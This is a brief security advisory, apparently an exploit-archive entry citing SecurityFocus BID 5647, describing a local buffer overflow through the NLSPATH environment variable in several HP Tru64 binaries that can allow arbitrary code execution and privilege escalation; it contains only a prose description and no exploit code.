HP Tru64 NLSPATH Environment Variable Local Buffer Overflow Vulnerability (2)

                                                source: http://www.securityfocus.com/bid/5647/info
 
Tru64 is a commercially available UNIX operating system. Tru64 was originally developed by Digital and is now distributed and maintained by HP.
 
A buffer overflow has been discovered in a number of Tru64 binaries. Attackers may exploit this via an overly long value for the NLSPATH environment variable. Because of this flaw, a local attacker may be able to execute arbitrary instructions. As a result, the attacker may be able to execute malicious code and elevate privileges.
